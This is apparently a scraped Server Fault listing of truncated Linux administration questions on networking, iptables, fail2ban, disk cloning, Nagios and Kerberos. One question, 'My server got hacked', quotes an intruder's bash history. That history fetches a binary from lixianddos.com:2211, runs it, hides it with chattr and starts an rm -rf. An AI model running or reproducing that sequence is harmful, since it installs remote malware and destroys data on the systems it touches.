Linux is the generic term for a UNIX-like open source operating system based on the Linux kernel.

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Java Application has caused an InvocationTargetException in Debian

I am trying to install a Java application on a Debian 8.1 server and I keep getting a "Java Application has caused an InvocationTargetException" error. I have installed Java8 from oracle, set ...
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16 views

Web servers configured to use 'localhost' not accessible inside network

What would cause an Ubuntu Server 14.04 LTS machine to lose the ability to use 'localhost' in web-server configurations? If I replace 'localhost' with the machine's static, internal IP address ...
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15 views

Cloning disk, is CloneZilla far more simpler than DD [closed]

Should I prefer CloneZilla or dd, when I aim to clone disk, from one proto to 100 machines. Prototype & 100 machines have all the same config ? When reading such a thread : Using DD for disk ...
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0answers
25 views

fail2ban wont ban ssh from local hosts

I'm trying to configure fail2ban to block ssh from a local hosts. Fail2ban is install on CentOS 7 with firewall (Linux 3.10.0-229.4.2.el7.x86_64 x86_64 ). I have copied the jail.conf to jail.local i ...
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0answers
13 views

rbldnsd does not dump statistics with -s option

I am trying to get rbldnsd to dump statistics using the -s option, but it does not create any statistics file. Same goes with log as well. I am running it in a chrooted environment. Searched the ...
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1answer
17 views

When adding an IP address drop rule to IPtables it converts it to a domainname/url. Why?

So I have been playing around with IPTables and bash scripts to auto detect bruteforce attacks on my server (averaging about 50 per day minimum - is this normal?). My server logs these attacks for me ...
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0answers
27 views

How do I to run a python script only once on multiple machines remotely? [closed]

I have a deployment scenario where I need to run a python script on multiple Linux machines. The script will then download and install software from cloud. Since it is downloading and installing a ...
0
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1answer
30 views

Elasticsearch network.bind_host and network.publish_host

I have a 4gb ram machine that works as a DB server for a ios/webapp. On that machine I only have Elasticsearch and MySql installed. What I want to do now is to only allow connections to ES from two ...
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0answers
19 views

Alter email body before send - postfix or sendmail [closed]

I'm looking for a solution where I can add html both before and after the body of email. Basic usage for this is to add stationery to outgoing emails autimatically based on address etc I've looked ...
0
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1answer
27 views

Apache Web Server Virtual Hosting

i'm making a apache web server with two virtual host, i have a DNS Server caching-only on my other centos 6 minimal VM, the IP Address of my Apache Server is 192.168.1.9, when i try to browse that IP ...
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1answer
20 views

How to get list of domains pointed in unique IP

I want to know this is possible that i can get whole domains list which is pointed in unique (same) ip address example: i have ip 000.000.00.00 now i want to get whole ip list which is pointed in ...
2
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0answers
38 views

How prevent users from running commands via dot slash for a directory? [migrated]

Does anyone know if it is possible to restrict execution of commands via dot slash notation for a directory? The environment is bash on Linux. For example, I have a directory /usr/local/app/bin. In ...
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3answers
354 views

Is it safe to boot a linux server from a USB drive?

I have an HP DL360 G7 server I plan to install KVM and ZFS on. The purpose is going to be a lab in a box. I have the 8 drive bays in the front loaded with 4 drives and an SSD (for the ZFS ZIL cache). ...
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votes
0answers
12 views

Linux server for Windows clients, commercial client desktop license needed? [duplicate]

I want to upgrade the windows hosts and server (server 2003, client xp) in a hotel. We have micros fidelio software running and according to wikipedia they also support oracle sql. Since we only need ...
0
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1answer
23 views

Forwarding all traffic coming into eth0 on host to eth1 on LXC container

I'm trying to monitor all the traffic coming into my computer using software running in an LXC container. The software on the LXC expects to be monitoring eth1. Thus, I would like to Create an ...
0
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1answer
44 views

Reverse Proxy multiple internal FTP Servers

I have setup a reverse proxy for http using Apache mod_proxy like this: Client ---> http:/abc.domain1.com --> Reverse Proxy Server ---> 192.168.50.1 (Internal Server) Client ---> ...
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0answers
15 views

Remote OSX Server does not accept TCP connections from abroad?

Long story short: I am able to connect to the box (which is located in my office) from home. Two different ISP providers. On the contrary, my friend from the US is not able to access it - the ...
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0answers
14 views

XenServer 6.5 - File system on control domain full [closed]

I rebooted my XenServers last night due to an electrical outage from a storm and two of my Xenservers are reporting file system on control domain full. One is reporting 99% and one 94%. How would It ...
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0answers
33 views

VPS Server shoots to 900% CPU Utilisation for 10 to 15 minutes

I've just taken a VPS Server with Assured 1 core AMD opetron and burstable to 8 cores. RAM is 5 GB Average Usage so far been around 1 Cpu, but at a point of time - when checked through monitoring - ...
2
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3answers
70 views

Host key verification failed even though known_hosts is correct

I am running a Debian 7 Wheezy server and are having problems with connecting to other servers over SSH. This problem only occurs while running SSH through crontab, and not otherwise (logged in as the ...
0
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2answers
35 views

Clone with dd, backup with dump? [closed]

I plan to clone my disk (machine : linux mint raspberry-like). Is it possible with dump ?how is managed the boot partitions ? Actually, I plan both to backup my prototype (mint), then clone it all to ...
4
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1answer
96 views

CentOS/Redhat kickstart script cdrom mount point

Trying to copy some files from my custom CentOS 7 install ISO to the new install in the %post section. I've tried all of these: cp /dev/cdrom/scripts/myscript.sh /etc/myscripts/myscript.sh cp ...
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3answers
57 views

Finding users responsible for thrashing an NFS mount

I have a large multi user system, NFS mounting a large piece of shared storage. I can identify the source of all my network traffic - narrowing it down to a particular host - thanks to nfsstat. ...
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1answer
22 views

which port is used on nagios check_nrpe, is the ssh connection is must between nagios master and client server

I have configured the nagios master server and nagios client servers, still after lot of debugging i couldn't achieve the communication btwn these two :( i am getting this generic error CHECK_NRPE: ...
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0answers
25 views

How can I install kerberised services on debian? [closed]

I installed kerberos in my debian environment and made it work with SSH. I also would like to try it with other services but I could not install them on debian. I followed several tutorials e.g. ...
5
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2answers
193 views

Time synchronization in an heterogeneous environment

In a mixed environment, where machines can be running under Windows (most), Linux (a few), sometimes Android ... what is the best solution to have time synchronization with an accuracy close to ...
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1answer
12 views

davfs: syntax error in secrets file

I have here a linux system which should mount a (remote) davfs file system. All is fine and if I mount the file system manually from command line it works: /> mount /share/davDrives/private Gib ...
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0answers
14 views

Assign public IP to PPTP clients

i have a VPS with two (or more) public IPs: 1.1.1.1 1.1.1.2 The 1.1.1.1 is used by eth0, so i wanna assign the 1.1.1.2 to PPTP (vpn) client and route all inbound traffic from internet to that PPTP ...
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0answers
22 views

php script not executed from command line [migrated]

I'm unable to execute php scripts from command line. I have the following simple code in a file named test.php: #!/usr/bin/php print password_hash("rasmuslerdorf", PASSWORD_DEFAULT)."\n"; On ...
-2
votes
0answers
8 views

kernel make install fails with lacking dracut module 'dmsquash-live' on Fedora22 [migrated]

I have a problem on Fedora22 when make install build kernel. I downloaded kernel source and 'make'. It was ok. When I try to 'make install', I got this error. [root@localhost linux-4.0.5]# make ...
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1answer
35 views

How to list all files of a partition on linux?

I am running out of disk on my rhel box. I am trying to find all files in /dev/sda2. Do we have a command which can give all files (ideally, with size) in filesystem /dev/sda2? /dev/sda2 31297508 ...
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0answers
8 views

How to open ports on a vps server by IPv4 mapping? [migrated]

I'm new to VPS, and I chose vps.me(free version) for hosting a game server. The game server needs the ports 28760, 28763 and 28764 to be open. I read their documentation and said I must use IPv4 ...
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0answers
22 views

Get Original Destination Port From iptables

I would like to create a local server that acts as a proxy for all trafic, but how would I determan the original ports when using iptables to rederect the network traffic. I need this for when the ...
0
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1answer
48 views

RAID1: approx performance difference of 3 active vs. 2 + spare?

My question concerns only Linux software RAID ("md"). I'm going to set up a RAID1 array with three devices. I need to choose between using the third disk as a spare or as an active member of the ...
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1answer
26 views

DNSMasq Not Respecting Hostfiles [closed]

I have dnsmasq running inside docker under a Fedora 22 Hyper-V guest. I have it configured to read from a directory containing hosts-format files. Yes, I know DNS servers use zones, but dnsmasq ...
1
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1answer
24 views

Rate-limiting & dropping natted packets, EXCEPT for 5 local networks

Basically, I am trying to rate-limit requests to a mailserver at the firewall level, but whitelist several company-owned IP ranges. I can whitelist one IP addresses range, but not several, because of ...
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0answers
19 views

SYN/ACK not received by iperf client?

I have an application that essentially consists of four components A, B, C, D. A and B are on the same machine - B and C are separate machines. Traffic is generated by an iperf client on A with a ...
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votes
1answer
33 views

How can I visualize a file removing every type of comment if a file (including /* */)? [closed]

I have this small script to visualize config files without the comment lines: cat $1 | grep -Ev '[:blank]*#|^[:blank]*$' | pygmentize -g but it still shows some comments in some files when they have ...
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0answers
30 views

Fail to redirect requests to specific url to localhost

I have a server that listens on http://localhost:3000 and I want to forward all requests to http://api.lingualeo.com/addword from Chrome extension (some JSON data) to http://localhost:3000. What I ...
0
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0answers
20 views

My server got hacked [duplicate]

My server was hacked and I've found the next in the bash history: cd /usr/bin wget lixianddos.com:2211/syslog chmod u+x syslog ./syslog ss chattr +i syslog mv chattr ddos rm -rf ...
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votes
3answers
25 views

HTTPS url Works - HTTP does not, broken with SSL install

I was recently just installing SSL onto my server / website. Once I finished all the steps, I went to check my website using the https://www.breakwatersurfcompany.com which worked great, however. My ...
0
votes
1answer
39 views

Redirecting HTTP(s) traffic to another server

I am trying to setup a test environment for research/reverse engineering of wireless platforms. I have a router AP broadcasting my network which the hardware I am researching connects to, and from ...
1
vote
1answer
20 views

df is reporting wrong information in an LVM

I had a full disk usage on /var/log (100%) and deleted a few files to increase space. this is and ext4 partition mounted with default options. However, when I df -h I get: Filesystem ...
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0answers
45 views

What user runs the commands defined in /etc/rc.local? [migrated]

Are commands ran by /etc/rc.local ran by su by default? Do I need to specific sudo before each command or will they be ran by su regardless?
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1answer
42 views

Keeping mutliple Linux instances up to date

I am running a Linux VM in Azure (nginx). I want to add multiple instances so that it can be load balanced. What I can't get my head around is how I change, for instance, the nginx conf and apply it ...
-1
votes
1answer
28 views

How to process sendmail queue when 25 port is blocked? [closed]

I have one VPS which forwards e-mails from one mailbox to another. Unfortunately ISP have blocked 25 port last week and since then I can't receive any e-mail from it. According to mailq there are ...
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0answers
21 views

Unable to Mount a directory on linux server :- Error ICMP host unreachable - admin prohibited, length 68

Folks , I have two linux server. I want to mount one directory /symantic of one file system to another. I am able to ping , i am able to do telnet from each other. I have checked port 2049 which is ...
0
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1answer
17 views

Nagios 4.0.x - Mail notification only sending to the first contact of contactgroup

I have a working Nagios solution since about 4 years. I noticed some time after updating Nagios 3.5.x to a 4.0.8 version, one person havn't received any error notifications. Nothing changed on our ...
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1answer
16 views

Service to redirect HTTP traffic on local server

My scenario is an service listening on SSL port 443 for incoming SOAP and REST requests over the HTTPS protocol. Due to expanding configuration and the product can't handle a larger configuration we ...
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0answers
32 views

kdm and ssh detecting different fully qualified domain name when using kerberos authentication

I'm attempting to setup Kerberos login support (Windows AD domain providing the kerberos) for Kubuntu 12.04 Linux workstations at the company I'm at. It's almost completely working but I can't get ...